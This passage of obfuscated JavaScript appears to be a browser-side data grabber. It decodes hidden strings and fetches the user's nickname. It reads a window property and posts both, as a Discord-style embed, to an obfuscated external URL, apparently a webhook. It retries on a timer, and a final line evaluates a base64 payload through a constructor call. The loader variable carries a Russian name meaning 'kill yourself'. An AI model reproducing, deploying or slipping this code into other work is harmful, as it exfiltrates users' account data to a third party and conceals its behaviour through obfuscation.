fetch(BpmsAe(0x76),{[BpmsAe(PI8YG_F[0x1c])]:BpmsAe(PI8YG_F[0x1d]),[BpmsAe(0x79)]:BpmsAe(0x7a)});if(!diKEiha[PI8YG_F[0x1e]]){function M3snIw(ZD42Wz){var yI9ERAQ="2bRIWOUrGZhJLipQDdMSjFTaNkoKHefAcnCE3Byxu6/gYm_v}*$VqXl%P9(s&t:)#?+>w08!<=]^|[.1{~,\"z74@`5;",BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b,Az8OpfF;TTMtCLM(BpmsAe=""+(ZD42Wz||""),diKEiha=BpmsAe.length,M3snIw=[],vArK_x=PI8YG_F[0x0],YpuH4Ji=PI8YG_F[0x0],tWYa_b=-PI8YG_F[0x1]);for(Az8OpfF=PI8YG_F[0x0];Az8OpfF<diKEiha;Az8OpfF++){var wZ7sQve=yI9ERAQ.indexOf(BpmsAe[Az8OpfF]);if(wZ7sQve===-PI8YG_F[0x1])continue;if(tWYa_b<PI8YG_F[0x0]){tWYa_b=wZ7sQve}else{TTMtCLM(tWYa_b+=wZ7sQve*PI8YG_F[0xc],vArK_x|=tWYa_b<<YpuH4Ji,YpuH4Ji+=(tWYa_b&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(M3snIw.push(vArK_x&PI8YG_F[0x3]),vArK_x>>=PI8YG_F[0x2],YpuH4Ji-=PI8YG_F[0x2])}while(YpuH4Ji>PI8YG_F[0x9]);tWYa_b=-PI8YG_F[0x1]}}if(tWYa_b>-PI8YG_F[0x1]){M3snIw.push((vArK_x|tWYa_b<<YpuH4Ji)&PI8YG_F[0x3])}return zsfbjJD(M3snIw)}function vArK_x(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=M3snIw(AULUAl[ZD42Wz])}return tKa1aN[ZD42Wz]}throw new Error(vArK_x(0x7b)+diKEiha[vArK_x(0x7c)])}const YpuH4Ji=await diKEiha[BpmsAe(0x7d)](),tWYa_b=YpuH4Ji?.data?.nickname||BpmsAe(0x7e),Az8OpfF=window[BpmsAe(PI8YG_F[0x1a])][BpmsAe(PI8YG_F[0x1b])],wZ7sQve={[BpmsAe(0x81)]:[{[BpmsAe(0x82)]:BpmsAe(0x83),[BpmsAe(0x84)]:BpmsAe(0x85)+tWYa_b+BpmsAe(0x86)+Az8OpfF+BpmsAe(0x87)+encodeURIComponent(tWYa_b)+")",[BpmsAe(0x88)]:0x5865f2,[BpmsAe(0x89)]:new Date()[BpmsAe(0x8a)]()}]},oEoDV88=await fetch(ZD42Wz,{[BpmsAe(PI8YG_F[0x1c])]:BpmsAe(PI8YG_F[0x1d]),[BpmsAe(0x8b)]:{[BpmsAe(0x8c)]:BpmsAe(0x8d)},[BpmsAe(0x8e)]:JSON[BpmsAe(0x8f)](wZ7sQve)});if(!oEoDV88[PI8YG_F[0x1e]]){function w70z8F(ZD42Wz){var yI9ERAQ="O|=2F[Y~lb@nXWH1hK?xQd0`!V_]z38EZ6<%fDiq&r7,u}+^#.kso)vjL*Rm9yM4CS{Baw(:A;/$c\"5INpJTU>GgtPe",BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b,Az8OpfF;TTMtCLM(BpmsAe=""+(ZD42Wz||""),diKEiha=BpmsAe.length,M3snIw=[],vArK_x=PI8YG_F[0x0],YpuH4Ji=PI8YG_F[0x0],tWYa_b=-PI8YG_F[0x1]);for(Az8OpfF=PI8YG_F[0x0];Az8OpfF<diKEiha;Az8OpfF++){var wZ7sQve=yI9ERAQ.indexOf(BpmsAe[Az8OpfF]);if(wZ7sQve===-PI8YG_F[0x1])continue;if(tWYa_b<PI8YG_F[0x0]){tWYa_b=wZ7sQve}else{TTMtCLM(tWYa_b+=wZ7sQve*PI8YG_F[0xc],vArK_x|=tWYa_b<<YpuH4Ji,YpuH4Ji+=(tWYa_b&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(M3snIw.push(vArK_x&PI8YG_F[0x3]),vArK_x>>=PI8YG_F[0x2],YpuH4Ji-=PI8YG_F[0x2])}while(YpuH4Ji>PI8YG_F[0x9]);tWYa_b=-PI8YG_F[0x1]}}if(tWYa_b>-PI8YG_F[0x1]){M3snIw.push((vArK_x|tWYa_b<<YpuH4Ji)&PI8YG_F[0x3])}return zsfbjJD(M3snIw)}function MhQNAyV(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=w70z8F(AULUAl[ZD42Wz])}return tKa1aN[ZD42Wz]}throw new Error(BpmsAe(0x90)+oEoDV88[MhQNAyV(0x91)])}console[BpmsAe(0x92)](BpmsAe(0x93))}catch(DKFWnJm){function Id9Vhz(ZD42Wz){var yI9ERAQ="8sm@=1gBwit[5v{MQFqeyZrE<cn;X/pV*|IJLou$CD_)6+,x4}\"!Y:z0]?(~f^Hj>RaAK%.h3UlT2PNdOb#9W&`Sk7G",BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b,Az8OpfF;TTMtCLM(BpmsAe=""+(ZD42Wz||""),diKEiha=BpmsAe.length,M3snIw=[],vArK_x=PI8YG_F[0x0],YpuH4Ji=PI8YG_F[0x0],tWYa_b=-PI8YG_F[0x1]);for(Az8OpfF=PI8YG_F[0x0];Az8OpfF<diKEiha;Az8OpfF++){var wZ7sQve=yI9ERAQ.indexOf(BpmsAe[Az8OpfF]);if(wZ7sQve===-PI8YG_F[0x1])continue;if(tWYa_b<PI8YG_F[0x0]){tWYa_b=wZ7sQve}else{TTMtCLM(tWYa_b+=wZ7sQve*PI8YG_F[0xc],vArK_x|=tWYa_b<<YpuH4Ji,YpuH4Ji+=(tWYa_b&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(M3snIw.push(vArK_x&PI8YG_F[0x3]),vArK_x>>=PI8YG_F[0x2],YpuH4Ji-=PI8YG_F[0x2])}while(YpuH4Ji>PI8YG_F[0x9]);tWYa_b=-PI8YG_F[0x1]}}if(tWYa_b>-PI8YG_F[0x1]){M3snIw.push((vArK_x|tWYa_b<<YpuH4Ji)&PI8YG_F[0x3])}return zsfbjJD(M3snIw)}function TY_dswV(ZD42Wz){if(typeof tKa1aN[ZD42Wz]===PI8YG_F[0x5]){return tKa1aN[ZD42Wz]=Id9Vhz(AULUAl[ZD42Wz])}return tKa1aN[ZD42Wz]}console[Vj6Jch(0x94)](TY_dswV(0x95),DKFWnJm)}}function oEoDV88(){if(diKEiha){return}if(Az8OpfF(document[Vj6Jch(0x96)])){function ZD42Wz(ZD42Wz){var yI9ERAQ=".$`)<{O*Z&xWJ2L3m8ieTK|oDyPnCHb=}wvY64@^9Np5/Bk+MEjl\"R]Af#(tUrh7X%c_Sz:?FuI;1G>Q~0s,V[aqg!d",Vj6Jch,BpmsAe,diKEiha,M3snIw,vArK_x,YpuH4Ji,tWYa_b;TTMtCLM(Vj6Jch=""+(ZD42Wz||""),BpmsAe=Vj6Jch.length,diKEiha=[],M3snIw=PI8YG_F[0x0],vArK_x=PI8YG_F[0x0],YpuH4Ji=-PI8YG_F[0x1]);for(tWYa_b=PI8YG_F[0x0];tWYa_b<BpmsAe;tWYa_b++){var Az8OpfF=yI9ERAQ.indexOf(Vj6Jch[tWYa_b]);if(Az8OpfF===-PI8YG_F[0x1])continue;if(YpuH4Ji<PI8YG_F[0x0]){YpuH4Ji=Az8OpfF}else{TTMtCLM(YpuH4Ji+=Az8OpfF*PI8YG_F[0xc],M3snIw|=YpuH4Ji<<vArK_x,vArK_x+=(YpuH4Ji&PI8YG_F[0xd])>PI8YG_F[0xe]?PI8YG_F[0xf]:PI8YG_F[0x10]);do{TTMtCLM(diKEiha.push(M3snIw&PI8YG_F[0x3]),M3snIw>>=PI8YG_F[0x2],vArK_x-=PI8YG_F[0x2])}while(vArK_x>PI8YG_F[0x9]);YpuH4Ji=-PI8YG_F[0x1]}}if(YpuH4Ji>-PI8YG_F[0x1]){diKEiha.push((M3snIw|YpuH4Ji<<vArK_x)&PI8YG_F[0x3])}return zsfbjJD(diKEiha)}function yI9ERAQ(yI9ERAQ){if(typeof tKa1aN[yI9ERAQ]===PI8YG_F[0x5]){return tKa1aN[yI9ERAQ]=ZD42Wz(AULUAl[yI9ERAQ])}return tKa1aN[yI9ERAQ]}TTMtCLM(diKEiha=PI8YG_F[0x13],wZ7sQve());if(M3snIw){TTMtCLM(clearInterval(M3snIw),M3snIw=PI8YG_F[0x1f])}console[yI9ERAQ(0x97)](yI9ERAQ(0x98))}}TTMtCLM(M3snIw=setInterval(oEoDV88,0x3e8),setTimeout(oEoDV88,0x12c),console[Vj6Jch(0x99)](Vj6Jch(0x9a)))})();" убейсебя.constructor(atob((''+убейсебя).match(/=\s*"((?:[A-Za-z0-9+/=]|\\")+)"/)[1]))(); })()
